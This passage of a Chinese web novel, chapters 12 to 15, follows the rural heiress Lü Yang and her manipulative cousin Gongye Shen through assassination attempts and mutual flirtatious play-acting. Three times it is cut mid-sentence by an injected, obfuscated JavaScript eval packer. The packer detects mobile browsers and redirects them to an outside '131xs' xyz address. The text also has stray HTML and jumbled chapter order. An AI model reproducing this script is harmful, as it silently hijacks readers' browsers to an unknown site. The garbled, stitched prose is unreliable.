“是卫衡手下的那部分残党。”常薛愤愤道,“他们一直跟朱家勾结在一起,朱家之前就是靠卫衡的背后扶持起来的。” 又是朱家…… “一群杂碎,乌合之众。” 常敷试探道:“要一并处理掉吗?” 公冶慎摇头:“那冷阎王最近在江汝,动静搞太大了会被他发现的,虽说我们有理,但若落了把柄总归不好。” 秋阿嬷愤恨得咬牙切齿:“也不能让那些狗东西逍遥法外吧!” “朱家不可能是干净的,去查查吧。既然那冷…刺史大人碰巧在,就留给他费心去。” 常敷听明白他的意思,立马退下去办了。 吕央站在原地,虽面上平静,内心却如惊涛骇浪般惊魂未定。 没想到还没走到上华城已经有人想要她的命了。 明枪易躲,暗箭更难防,她之后还有很长的路要走。 12. 互相演戏 吕央敏锐地捕捉到公冶慎话中提及的那位刺史大人,还叫的是“冷阎王”这样的外号,话里话外都带着不屑,想必关系不怎么样。听起来跟刚刚说起曜大人时的态度如出一辙。 公冶慎收敛脸上嘲讽的笑容,转身关切又自责地向吕央请罪:“是我办事不力,让少君受惊了。” 吕央摇头,一副没心没肺的模样反过来笑嘻嘻地安慰公冶慎:“都是坏人的错,怎么能怪表哥呢?” 公冶慎眸中笑意更浓,丝毫不觉得吕央这般心大有什么不好的,单纯的性格可正合他意。 秋阿嬷紧握着吕央的手,焦急担忧地嘱咐:“少君,您今后身居高位一定要处处小心,尤其是身边的人,千万仔细辨别。谄媚奸人不能轻信,就算关系再近亦或是来攀什么远房亲戚的,也必须得设防。” 公冶慎脸上陪笑心里恨得牙痒痒,这老婆子当着他的面就这么直白,半点不顾及他还在啊。 吕央笑呵呵地反握秋阿嬷苍老得有些干瘪的手:“嬷嬷您不用担心,我会万事小心的。再说了还有表哥在呢,他会保护好我的。” 说着,少女揽住身边青年的手臂,满心满眼都是信任:“表哥你说是吧?” 公冶慎压抑住心中惊喜,先是笑着对吕央点点头,又转头神情郑重地向秋阿嬷保证:“嬷嬷尽管放心,晚辈定竭力保护少君安危。” 见这对表兄妹一副情深意厚的热切模样,秋阿嬷只得默默地长叹一口气。 老太君重用这个外姓人就算了,连刚找回来的少君也对他如此信任,若公冶家这小子真无任何异心倒还好……唉。 连本家的卫衡都能吃里扒外联合外人毒害自己的母亲,人心难辨,她也不敢妄下定论了。 临走前公冶慎还假模假样地劝秋阿嬷回本家,老婆婆摇头:“我发过誓,到死都要替女君守着这座宅子。况且我老了,本家也不需要我。” 老媪眸中浑浊地望向吕央:“少君……保重。” 吕央福身拜别面前这位曾是她母亲旧仆,如今又垂垂老矣独守空宅的妇人。她知道,秋阿嬷不只是在看她,而是将对卫婧的思念和感情都投射在了她的身上。 吕央第一次强烈地感受到自己真的是卫家女,是流淌着卫婧血脉又承载了故人情思的孩子。登上马车前,她再次回头望向身后的青濯院。吕央知道,这里她今后还会回来的。 母亲曾经留下的那些痕迹和记忆,她都会一一找回。 经过下午这一场意外,公冶慎觉得自己和少君之间的距离又拉近了不少,人果然会下意识相信在危险时第一时间保护自己的人。 吕央认真地吃着小茶几上的糕点,已经完全看不出方才遇刺时那惊慌失措的神态,全然没受任何影响。 公冶慎摩挲着自己手指骨节,余光紧紧贴在面前少女的身上。 吕央性情坦率是真,胆子也的确不小,乡下的野丫头嘴巴厉害脑子也不错,就是没见过世面太容易相信别人,尤其吃软不吃硬。 还好,这个“别人”不是其余闲杂人等,刚好是他公冶慎。 这第一局,他感觉自己已经赢了大半。 吕央嚼吧嚼吧嘴里干噎的糕点,边捶胸口边用余光去观察公冶慎的神态。 她发现这人无论心里想什么都从不上脸,想从外表看出他的真实反应,难于登天。 嘶,吕央平生最不喜欢和这样的假面人打交道,总觉得哪一天不小心自己背后就得被他扎穿了。 但她对自己的演技很有把握,公冶慎既然想让她是个没什么威胁的黄毛丫头,她也很乐意这样演给他看,好让他彻彻底底地放心。 不就是装吗? 公冶慎会的东西她吕央也会。 “表哥,所以朱家交给那个什么刺史大人解决就好啦?” 她撑着脸不甚在意地问,似乎只是吃饱后想随便聊聊。 公冶慎点头:“嗯,总不好脏了咱们自己的手。” 而且能给那家伙添点麻烦事更是他喜闻乐见。 “表哥,你和刺史大人很熟吗?” 公冶慎完美的表情都有些僵硬,几欲惊出一身恶寒:“不熟。” “所以冷阎王的外号不是你给他起的喽。” “我没那么无聊。”公冶慎耸肩笑笑,“这可是别人给他的‘美称’。” 吕央心思转来转去,似乎嗅到了八卦的气息:“看来他很招人恨呐?” 此话一出,公冶慎脸上的嘲讽意味藏都藏不住,但还是装作无关紧要:“他是负责督察各州的刺史,是出了名的铁面无私手段残暴,多少人恨他恨得牙痒痒呢” 吕央心说她看出来了,她面前就有一个。 少女很捧场地捂住嘴巴满脸震惊:“哇,他究竟是何方人物啊?” 公冶慎犹豫一瞬,但少君今后归家掌权以后也免不了和那家打交道,况且想起他们家现在的境遇……他不由轻笑:“是闻人家的三少爷,都检院刺史闻人曜。说起来他们闻人家也是四大家之一,不过现在已是江河日下,不复当年了。” 闻人曜……听到这名字吕央惊讶了两下,首先是因为他的姓氏,闻人家从先皇帝以前就一直是军功赫赫的将门世家,老百姓们都喜欢称赞征战沙场保家卫国的英雄,所以闻人家也是四大家里最出名的,连她们那个消息闭塞的地方都老念叨闻人大将军的功绩。 第二惊讶则因为,原来他就是朱小姐心心念念、公冶慎前面不愿提及的“曜大人”啊! 吕央今后要在上华城立足肯定是知道得越多越好,她瞪大水灵灵的眼睛又凑近了些:“表哥,闻人家出什么事啦?” 公冶慎差点忘了乡下可能还不知道京中的风向,而他也乐得对闻人家落井下石:“闻人家和先太子司裴也就是现在的靖王,本就多有不合。之前临王谋逆,闻人家又多少有推波助澜放任不管的意思,虽说后面悬崖勒马有救驾之功,但也只算堪堪相抵。靖王殿下早将闻人家的兵权拆分得差不多了,现在不过剩个空壳名头。” 吕央心说果然牵扯上朝堂政治的东西就是危险啊,荣宠衰败都得靠有眼力见的站队,但其实不管站得位置对还是错,都只是帝王一念之间。 “硬要算起来,闻人曜已经是他们家最后的门面。”公冶慎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208049|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情算得上揶揄的笑,“毕竟他可是三朝老臣。他的都刺史位置是先帝给的,派他去督察南方二十四州。先太子执政那几年时他远离纷争,现在新帝登基也没把他降职架空。” 不知怎的,吕央从他最后那句话里听出了些遗憾的意味。 看来公冶慎是真不待见那个闻人曜。 “表哥,你是不是和男人都关系不怎么好啊?” 闻人曜他讨厌至极,之前常薛屈嫱她们也说他不喜欢百里文赋,怎么感觉公冶慎格外恨这些同龄的男子? 公冶慎一时之间被她问懵了,好半晌才无奈苦笑:“阿央,你知道吗?厌恶其实是相互的。” “啊?表哥,他们凭什么讨厌你!?” 吕央这是真情实感的觉得疑惑,那些出身名门的公子跟他公冶慎何仇何怨啊? 见身旁的女孩义愤填膺,公冶慎忽而觉得这是千载难逢的继续拉近关系的好时机,立马从眼眶里挤出了眼泪强撑笑意:“于他们而言,我这样的人原本就是尘埃。瞧不起我是正常的。” 两行清泪经由青年水盈盈的狐狸眼流出,淌过那张苍□□致的俊美面容,滴落在胸口晕开水渍。 美人垂泪是吕央最不忍心看到的场面,她都分不清公冶慎是在跟她演还是真伤心。 罢了,为她哭成这样,就算是他演的吕央也认了。 “表哥不哭!他们瞧不起你那是他们狗眼不识泰山!” 吕央扯着嗓子安慰他,公冶慎快被她逗笑了,不过他还真动了情,难免回想起自己这些年的境况:“我的确和那些所谓正人君子相处不来,我从小在深宅后院里长大,只会用这副皮囊和女娘打交道,为他们所讥笑不齿。” 上华城那群世家公子们谁人提到他不是满心鄙夷不屑,公冶慎心中有恨,自然也不想给他们好脸。 吕央则在出神,原来公冶慎知道他是善用皮囊哄骗女娘的啊?果然是老手。 不过这算是发挥自己的长处,按屈嫱她们说的,他不能考取功名,除了在大宅院里给人家干活没别处可去。 其实吕央还是想知道公冶慎为什么沦落到这个境地,既然他和那些世家公子有过来往彼此认识,曾经的身份肯定也不低。 只是遭逢变故,这才寄养到卫家。 这么说起来公冶慎是挺有本事,哪怕在自己的外祖家做事也混得风生水起。 “好了表哥,别为那些蠢货伤心。”吕央有一下没一下的轻柔抚着公冶慎的后背,力图开解悲伤的他,“他们那些人长得没你好看也没你聪明,不必在乎他们。” 公冶慎闻言心里舒服不少,毕竟吕央说的都是实话,那群纨绔子弟论才貌谁人能及他十分之一。 可就是这些不如他的蠢货,却有他一辈子都没办法拥有的东西…… 公冶慎垂眸,少女正担忧地看着他,面露关切之色。 所以他必须把握住面前所有的机会,一切能让他后半生再也不用忧虑自己处境的路…… 吕央还没反应过来,肩上忽然一重—— 公冶慎眩然欲泣,倚在她怀中:“阿央,谢谢你。” 13. 心乱动情 吕央怔在原地宛若一座木雕,动也不敢动。 这是……什么章程? 青年虽然比她高了半个头但倚在她怀里的画面却丝毫不显奇怪滑稽,想来还是因为他那清瘦俊丽的长相,光看脸的确足够楚楚动人,谁见了都怜惜。 吕央打心底里喜爱美人,自然是很吃他这一套,虽然多少觉得有点突兀,但总归不是她吃亏,就照单全收又如何。 “好啦表哥,咱们都是一家人说什么谢!”吕央面上笑咧咧地往他后背拍两拍,“你以后要是还有什么伤心事,就尽管和我说,我一直都在。” 她可是很愿意倾听美男子那些内心创伤的,再在必要时慷慨地给予他们一个温暖有力的拥抱。 况且知己知彼方能百战不殆,要是能多多深入了解公冶慎也正合她心意。 少女笑得真挚灿烂,公冶慎不知不觉中悄悄地将她抱得更紧,当两个人之间的距离贴近到极致时往往能看出对方对自己的真实态度。 公冶慎等着吕央在羞涩中主动推开他,现实却是少女的手缓缓顺着他腰腹滑上,一点点攀上后背。 若他有读心术,定会被吕央内心嘻嘻哈哈的笑声吵得面红耳赤。 有便宜不占那是傻瓜,更何况现在是公冶慎主动对她投怀送抱,吕央也不过是回应他,顺水推舟罢了。 该说不说,便宜表哥真是国色天香英神俊朗的大美人,抛开那些弯弯绕绕的勾心斗角不谈,她有这机会顺带享受享受不是很好吗? 赏心悦目啊。 “表哥,你身上好香啊。” 吕央不自觉往他怀里蹭了蹭,青年身上有股幽幽的冷香,从发底一直到肩颈都萦绕着极淡的清香,只有贴得紧才能闻到。 不知单纯是自己喜欢这种淡香还是故意为之。 勾人得很。 吕央表现得完全是个不忌讳男女有别的粗鄙丫头,肆无忌惮地点评着青年的身材:“腰虽然很细,但是摸起来还硬硬的很强壮。” 公冶慎简直要吐血,他此刻不仅脸热耳朵热是浑身都热。过往也有人想撩拨他,可终归只止于言语,从没一个真的敢上手。 京中贵人还是顾忌些脸面名声的,岂能料想到吕央是这般色欲熏心的丫头。 她直白坦率的语气就好像只是讨论一件平淡无奇的小事,在纯真与放荡间拿捏得正好,还带着几分野气难驯的意味,公冶慎咬着牙毫无办法,半点脾气都没了。 不对啊,公冶慎怎么没反应呢。 吕央也纳闷,她都这样过分地调戏他,便宜表哥还是如此冷静不动如山的,难不成这种程度于他而言还是太弱了根本不值一提? 嘶,那公冶慎比她想象的还浪荡不少呢。 吕央原本只是打算见招拆招反将公冶慎一军,没想到便宜表哥是有备而来。轻敌了,她还得再过分点儿。 想到这儿,吕央又将手轻轻勾上青年的肩膀,直接把头靠进他颈窝。而今两人之间攻守异形,变成了吕央紧紧倚在公冶慎怀里。 她思索片刻,还是选择把手往上探,抚着青年的胸口处:“表哥,你心跳好快,我听到了。你不舒服吗?” 少女边说边仰着脸去看青年,两人的头靠得极其近,原先还敢动手动脚的公冶慎彻底服了,他真招架不住吕央这种心野的。 见把原本想勾引她的男人逼得两眼清明身体僵直,吕央心里乐开了花。 她还以为公冶慎这种八面玲珑的交际花能比她更没皮没脸来着。 看来还是有羞耻心的,那以后就好治他了。 她故作不解地松开公冶慎的怀抱:“表哥,你的脸好红,是不是太热了,要不要我把帘子掀开?” 说着吕央便十分善解人意的要帮表哥通通风,公冶慎下意识扯住她的手:“不用了!” “嗯?” 吕央还没演完疑惑的戏码,下一秒嘴里便爆发出一声发自内心的尖叫:“啊!” 马车猛地停下,她本就是半起身起拉帘子,身姿不稳被那冲力带着向前倒去。 “阿央!” 公冶慎也没有多余的想法,伸出双手将人抱入怀中,让自己重重砸了下去。 有公冶慎这个人形肉垫吕央什么痛都没感觉到,那想必就是别人帮她承受了…… “表哥……” 吕央撑起身子让公冶慎也坐起来:“你后背痛不痛啊?” 公冶慎摆摆手:“无妨,我受得住。” 外面驾车的马车夫急忙道歉:“公子,少君,方才刚好到酒楼门口有惊了的马窜街而过,小的急于躲避这才冲撞了贵人……” 事出有因,公冶慎也不想过度苛责下人,见吕央也安然无事,只点头让他把马车安置好便罢了。 吕央放心不下公冶慎的腰背,扶着他进了紫金楼。 “表哥,你真的没事吗?” 公冶慎侧过头温柔地笑着看她:“阿央觉得我有那么脆弱?” 吕央心道那不是因为他嘴里完全分不清真话假话,脸上又除了笑眯眯就没有别的表情,她怎么判断他真受伤还是假受伤啊,万一真有事不就成了她吕央的罪过了? 心里想的话肯定不能直接说出来,少女努嘴将头靠在青年肩头娇嗔道:“我也是担心表哥嘛……” “不用担心,我说过会一直保护阿央的,这点小事还算不得什么。” 吕央感动地抱紧表哥那坚实有力的臂膀:“表哥…你对我真好!” 公冶慎勾唇浅笑,能让吕央对他越信任越好,这些手段还只是最基本的。 至于美男计的实施……他还要等更好的时机。 晚上他们在紫金楼的包厢里用膳,满满一桌子的珍奇菜肴时令鲜品,吕央她们都是第一次吃如此奢侈丰盛的餐食,不由边震惊边提起筷子大快朵颐。 兴到浓时免不了举杯喝上几口,屈嫱和赵华月都是极能喝酒的,竟拉着常薛行起酒令,吕向遥在旁做裁判。 吕央酒量还行,几杯下肚也不见上脸。桌上各聊各的好不热闹,但她的眼神总有意无意地去瞟边上独自品酌的公冶慎。 兴许是因为今日在马车上过于亲密的接触让他们更加熟悉,公冶慎也在用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208050|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余光偷瞄着她。 虽然彼此心知肚明自己那些举动无关男女之情,可毕竟也不是小孩子了,谁都明白那时候如果继续下去肯定不止是演戏那么简单。 最后一道菜被小心翼翼地摆到了桌上,小厮快步退出去,只留总管远远站着陪笑:“复临君,这些都是我们紫金楼里的招牌,尤其是中间这道了不得……” 青年抬起的手骨节分明,轻轻一摆:“下去吧。” “啊?诶,好嘞。” 总管尴尬笑笑,连忙出去了。 公冶慎夹了一块儿鱼肉放入嘴中:“嗯,是不错。” 入口嫩滑,味极鲜没有半点腥味。 他又试了几道算是卫家酒楼的招牌,味道虽然比不上京都府燕栖楼的,但也不错。 公冶慎放下筷子,侍从立即递上手帕:“公子,不吃了吗?” “饱了。”他动作轻柔地擦完嘴,示意他俩坐下:“你们吃吧。” 少年大喜:“好嘞公子。” 常薛年纪少还在长身体,爱吃也是正常的,常敷摇头表示不用。 正啃鸡腿的常薛啥也不在乎,两腮沾了不少油还在傻乐,公冶慎叹了口气,当做什么也没有看到。 吕央看着最后一个小厮从包厢出来,一排人快步下了楼梯,每个人看上去表情都有些紧张。没多久总管模样的中年男人也出来了,边走边不住地抬袖擦汗。 上菜让吕央收回了视线,目光紧盯一桌子的美味佳肴。 “来!我们走一个!”吕向遥估计是在村口酒摊学的,抬起杯子就起范了,“哥!阿姊!” 哥哥姐姐很配合地站起来和她一起,吕晋安看向吕央:“今天多亏有阿央,不然我这笨嘴拙舌的还不知道怎么和那些耍官威的家伙争呢。” “是呀,阿姊真厉害!” 兄妹俩眼睛都亮亮的,真诚地夸赞着吕央,搞得她有些不好意思:“好了好了,快喝完坐下吧。” 考虑到几个人都不会喝酒,她们就喝了点果酿酒。 坐下开吃,紫金楼这真是贵有贵的道理,哪怕是一道普通的清炒小白菜也和家炒的有着天壤之别。 再一看菜单,原来是鲍汁炒的。 吕向遥爱吃肉,上来就奔着招牌大肘子去了:“好吃!” 吕央夹了一块,猪肘炖得很软烂,轻轻一夹就下来了,入口更是嫩滑即化,肥而不腻。 吕晋安盛赞:“果然好味道!” 一楼的吕央三人终于吃得差不多了,虽然中途有点小插曲但是好在饭菜确实是好吃的。 观察已久的总管终于找准机会上前:“三位好,在下是紫金楼的执事总管,我刚刚看见了三位这边发生的一定小摩擦。为了补偿三位,这次的饭菜钱就免单了。” 吕晋安惊讶了一下刚要拒绝,吕央拦住他:“既然这样,那就恭敬不如从命了。” 总管也没想到她答应得这么快,但也继续往下:“另外,今日我们卫氏的缀玉坊有折扣,我这儿刚好有更大的折扣。” 总管掏出票据:“这是给您的补偿。” 14. 意乱情迷 刚进缀玉坊,吕央就觉得哪里怪怪的。 吕向遥兴高采烈地去挑衣料,这儿的布料全是小县城见都没见过的稀罕货。只不过她们没空等制衣,只能去挑些成衣。 几个绣娘连忙围着吕向遥往二楼走,见她娇俏可爱的模样更是喜欢得紧,拿了不少首饰过来试。专制男衣的裁缝也过来给吕晋安推荐,后者一脸受宠若惊的模样,手足无措地被推到角落里量尺码。 吕央终于知道哪里不对了,这缀玉坊名气这么大,怎么现在只有她们这三个客人? 倒像是……专门在侯着她们一样。 吕央想着,又摇头否认,她们又不是什么大来头的权贵她们没理由这么费心费力啊。 难道是想讹她们?! “这位娘子,你喜欢些什么款式的衣服?” 坊主模样的女人缓缓朝她走来,她眉眼明丽仪容端庄,自是一副芙蓉美人貌。 吕央有些呆住,女人酥手搭上她的肩膀,推着她往里间走:“娘子花容月貌,我这里刚好有套云秀衫裙,应该很适合娘子。” 她掀开帘子,让吕央看见了里面那套蓝色的襦裙。 裙摆如云纱般层层叠叠,群头的刺绣正是月影卷云纹,五彩线交织,极为华丽。 更别提那件烫金纹的大衫,更是璨目。 吕央咽了口口水:“有日常些的衣裙吗?” 坊主显然没想到她这都不心动,连忙又拍手叫人送来几套较普通的襦裙。 虽说普通,但这缙云纱加素州绸的布料已经不是一般人用得上的了。吕央对这些布料没研究,但看着这几套确实没有那么招摇了。 她挑了两身浅紫浅绿的,目光忽然落在了一套红衣绿裙的衣服上。 “这套是刚出的,仿的是崇安年间流行的织染裙。”坊主极为了解女孩子的心思,一下就看出她喜欢,“牡丹的花纹,很适合娘子呢。” 吕央不自觉点头,坊主见状笑了:“娘子不然去换上试试?” 于是她被推进了换衣间。 公冶慎摇着扇子躲在二楼试衣间观察下面的情况,他一脸嫌弃:“常薛就是这么打点的?店里就没个其他顾客,看着不奇怪?” 常敷垂着头:“属下会再多教教他的。” 青年眯着眼睛挥手:“行了,去跟缀玉坊的人说,待会儿往他们买的东西里多塞点小玩意儿。还有,那套云秀衫改一套红色的出来。” “是。” 公冶慎继续坐在二楼观察,终于等到了换好衣服出来的吕央。 吕央生得端丽,红色衬得她气色饱满,而绿色织染的襦裙恰到好处地让她整个人显得更白净挺立,整个人像极了一朵正盛开的牡丹。 公冶慎不知何时嘴角已然微微上扬,已经挑完自己衣服的吕向遥和吕晋安也围过来一起夸她。 “以前阿姊你净穿些寡淡的,如今一看,这些艳丽的色彩反倒更衬阿姊!” “真好看啊阿央!一定要买这套!” 吕晋安话音未落,门口忽然传来了一道尖刺的高声:“人都去哪儿了?怎么连个伺候的人都没有!” 几个姑娘面面厮觑,坊主秀眉微蹙:“这下难办了……” 吕央便晓得,来人应当是个不好惹的主。 抬眼望去,门口乌泱泱一片穿着绸布衣裳的家丁,侍女扶着一身朱红色华裳的少女跨过门槛往里走。 那侍女就是刚刚高声叫喊的,此刻正在一边安抚自己小姐一边怒骂:“站着干什么,还不过来伺候着!” 坊主连忙笑着迎上去:“姑娘们愚笨不懂规矩,缀玉坊招待不周有失远迎,朱小姐见谅。” 朱小姐翻了个白眼,并不给她好脸色:“是够蠢笨的,这汝州城里谁敢怠慢我朱家的人?仔细你们的铺子!” 吕央蹙眉,朱家有多厉害,连卫家的铺子都敢威胁。 “小姐莫气,今日江淮进了些新料子,我让人带您去看看。” 坊主不欲和这个大小姐多加辩论,真准备招呼姑娘,那朱小姐的眼睛便骨碌碌地往吕央身上贴。 “过往都是坊主亲自接待,怎么,今儿个是有别的贵客?”侍女酸溜溜地呛声,她一看那边三人也不想什么有钱模样。 朱小姐紧盯着吕央的衣服:“这是什么料子?我怎么从未见过?” 她怒目而视,似乎在说有这等时兴潮流的东西居然不是先供给她! 坊主微笑:“仿的崇安年间流行的布料,不是什么新鲜的形制了。” 闻言她面上表情终于好了一点:“哦,原来是老旧的东西。” 朱小姐摆摆手:“行了,本小姐听说你们这有套云秀衫裙,拿出来我看看。” 坊主面容淡然地摇头:“实在是不巧,朱小姐,这云秀衫裙已经被买走了。” 这回轮到吕央疑惑了,刚刚不还给她看来着……难道是有两套?那也不对啊,两套应该就有能让这朱小姐买的了。 朱小姐像个被点燃的炮仗一样瞬间炸了:“谁买走了!” “朱小姐,这我无可奉告。” “不可能!”朱小姐一直对缀玉轩推出的这款裙子情有独钟,这云秀衫裙造价极高,价格昂贵!汝州城里还有谁能买得起? 更别说那些女娘谁不知道她喜欢,怎么敢跟她抢! “是不是你!”朱小姐气急,甚至抓住吕央质问,吕央也是无妄之灾,她根本买不起那裙子,只是刚刚看过一眼。 “放开我阿姊!”吕向遥扒拉开一看就不太正常的朱小姐,过程中还扯下来她侍女的几根头发。 “朱小姐,还请您不要再闹了。”坊主护在吕央身前,语气中隐隐有些愠怒。 朱小姐何时见过她这种态度,这更让她鉴定了心里的想法:“是不是她!我一看她就知道不简单,长得这么美气质又好,我在汝州城从没见过这号人!” “你是哪家小姐!?” 吕央虽然不知道为什么自己突然被夸了,但朱小姐确实误会她了,她真的不是什么大小姐。 “你可听说过我汝州朱家!”朱小姐趾高气昂地找场子,“你家有我家显赫吗?” 楼上的公冶慎看着看着也疑惑了:“所以,朱家什么来头?” 常敷俯身:“回公子,是汝州城的大商户,专做的是造纸和旅馆生意。” 他又补充:“紫金楼里那个调戏少君的就是他家少主。” 公冶慎半山遮面看不出情绪:“上不了台面的小门户也敢出来作威作福。现在,别让她再烦着少君。” 常敷侧目示意常薛,后者又从缀玉坊二楼窗户翻了下去。 楼下朱小姐还在狂怒:“啊!这套裙子是我进京要穿的!怎么就被买走了?” 她咬着手帕呜呜地哭:“我还要穿着这套衣服在晚宴上迷倒曜大人的!” 现在一切的计划都被打乱了!她的晚宴!她的曜大人! 朱小姐没哭完家丁匆匆跑进来在她耳边说了两句话,似乎是家里叫她回去,她也顾不上生气,连忙提裙出门去了。 吕央长舒一口气,她是真的被这所谓汝州城的大户给搞怕了。惹不起还躲不起吗,赶紧结账走人方为上策。 把买的衣服打包好,吕向遥哄着吕央先不要换下身上这套红绿裙子:“阿姊穿着好看,多穿一会儿!” 吕央无可奈何地勾勾少女鼻尖,答应了她。 负责打包的姑娘不动声色地往包裹里塞了些首饰,笑盈盈地递给一脸老实的吕晋安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215585|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 坊主温柔地将她们送出缀玉坊大门,吕晋安去牵马车过来,吕央疑惑地瞄向坊主,她总觉得奇怪。为什么对她们几个乡下人这么重视? 她不敢问,直觉告诉她少说话为好。 “这可如何是好!” 吕晋安急得团团转,吕央心觉不妙,连忙上前询问是不是出事了。 “咱们的那辆马车不见了!” “马车夫和马车一起不见的?” 吕晋安点点头。 坊主眉心皱起:“怎会如此?我这就差人去找。” 一旁的华丽马车里,公冶慎倚在桌上品茶。距离很近,他无需挑开帘子也听得见外头是发生了什么。 “这附近的守卫是死的?” 他略一使力,茶碗落回桌上发出脆响。 常敷说正在查,公冶慎摆手。 总觉得这次南下自己手下的人也有点问题。 吕晋安和坊主手下的家丁一起找车,吕央带着妹妹原地等待。 坊主看一时半会儿找不到,想邀她们坐着等:“娘子,进来歇歇吧。” 话音刚落,箭矢破空声划过刚好擦过衣角扎进了旁边的门框。 “啊!”路人被吓得四窜,几乎是一瞬间几个黑衣人就围在吕央面前拔剑戒备。 吕向遥被坊主拉进了店里,吕央刚想跟着躲进去,新的箭矢便从左侧飞来。 “保护少君!” 左侧的护卫被一剑穿透肩甲,痛苦沉闷的吸气声让吕央吓得往后倒。她强撑着想站起来,四肢却忍不住打颤。 箭矢还在从各个方向飞来,吕央不得不一路往后缩。 她后背忽然撞到了什么东西,有些咯痛。 吕央稍稍清醒过来,回头发现是那辆曾经见过好几次的奢华马车。 她不知道自己脑袋在想些什么,但是那一刻,她毫不犹豫地选了唯一能蔽护她的地方。 几乎是爬上去的同时,车上的人似乎启动了什么机关,整个马车瞬间封闭起来,简直是个坚不可摧的保护罩。 “别害怕,这里很安全。” 吕央这时才抬头看清了马车主人的模样,不是女娘,是个…男人? 虽然出乎意料,不过无论如何现在都是她贸然上车:“抱歉,外面有人要杀我,我实在是没有办法才贸然闯入公子的马车,望公子谅解。” “没有贸然闯入。”公冶慎伸手扶起吕央,他的手温凉得想一块软玉,吕央坐好刚要谢他,青年正色道:“就是来接您的。” 吕央看着眼前青年那双渐渐弯起的狐狸眼,窗外有人敲了三下,他笑容不改地解开机关,用扇柄挑开帘子。 常敷过分白净的脸上带着血痕,不过一看就知道不是他自己的血:“公子,都处理好了,各有三人埋伏在东侧和西侧的塔上。” “谁的人?” 常敷垂头:“在查。” 公冶慎摆手,常敷看见里面还有些没缓过神来的吕央面露自责:“属下失责,让少君受惊了。” 谁是少君?吕央混沌的大脑有点转不过来,她想她该走了。 “那个,我先走了。” 青年叫住她:“您要去哪儿?” 吕央手口齐动,乱比划一阵:“啊哈哈这是公子您的马车,我不该待在这里儿的……” 公冶慎笑着摇头:“这不是我的马车,是您的。” 吕央:? 怎么,是知道她们马车没了送一辆? 青年凑近她:“卫家的一切,都是您的。” 眼看吕央被他一句话说得愣在原地,他正色:“还没和少君介绍,在下公冶慎。您直呼我名字就好。” 公冶慎……京都府的那位复临君!? 15. 忠言劝谏(争宠指南) “阿央……”公冶慎话未说完边看见面前少女无辜地冲他眨眨眼睛:“怎么啦表哥?我纳个侧室应该没问题吧,屈嫱之前也跟我说可以的。” 公冶慎心里苦笑着咬牙面上却不能流露半分,只扯着笑容点头:“当然可以,阿央是卫家少君,侍夫这种东西自然想要多少、想要什么样的都有,只不过正因如此阿央才要格外小心某些有心之人心怀不轨呢。” 吕央乖巧地点头:“我知道了表哥。” 反过来在心里呵呵笑,有心之人……好像她面前就有一个。 “那我们还要在汝州城等刺史大人过来吗?” 公冶慎是真怕她对闻人曜起了兴趣,立即朝常敷使了个眼色,后者心领神会再次上前一步:“少君,公子,上华那边也来信问我们如今到哪儿了,是否一切顺利。” “那老太君情况如何?”公冶慎眉头紧皱,满脸忧愁悲色地看向吕央,“我们出门前外祖母正是病重之时,家中派人遍访名医才勉强稳住。” 对于素未谋面的祖母吕央虽然知之甚少,但也清楚那是位值得尊敬的女中豪杰,更是一直心怀说不清道不明的期盼。 自己作为孙女不是有意但的确在外多年未得与家人团聚,怎么说还是有些感伤。 “回公子,老太太情况依旧。” 常敷说罢似乎还叹了口气,更加剧了其中的悲凉意味。 “那我们还是快些赶回家吧表哥。”吕央方才本就是随口胡诌,只想刺激刺激公冶慎,眼下还是归家见祖母最重要。 “那我们明天一早就出发吧。”公冶慎极尽温柔地安抚她,“阿央放心,外祖母还等着你归家共享天伦之乐,不会轻易有事的。” “好。”吕央深吸一口气,希望真的如此。 夜色渐深,见该回复的信件也都拟定好内容吕央便主动提起要回房歇下了。 公冶慎抬手轻轻拂过她的发顶:“阿央今晚好好休息,养足精神。我们之后要赶三天路程呢。” “嗯,我知道的。那表哥也早些歇息吧。”吕央反手抓住青年的手腕晃了晃,满怀少女娇羞的笑了一下。 两个人言语行为间黏糊得不像表兄妹,但也不像恋人,常敷真是不敢看也不敢多想。 吕央维持着甜美的笑容直到关上门看门旁边睡熟的常薛,那毫无防备的样子真难相信居然是个武功高手兼随身暗卫。 还是他哥常敷看着靠谱一点。 什么样的主子能同时拥有一对反差如此大的侍从?吕央垂眸轻笑,公冶慎比她以为的登徒子要文雅一些,跟那种纯粹心怀不轨的奸诈小人比起来也更有良心,还挺有意思的。 至于那个什么闻人曜……吕央还未见过他,就先搁置着吧,待他真的要来求亲再说。 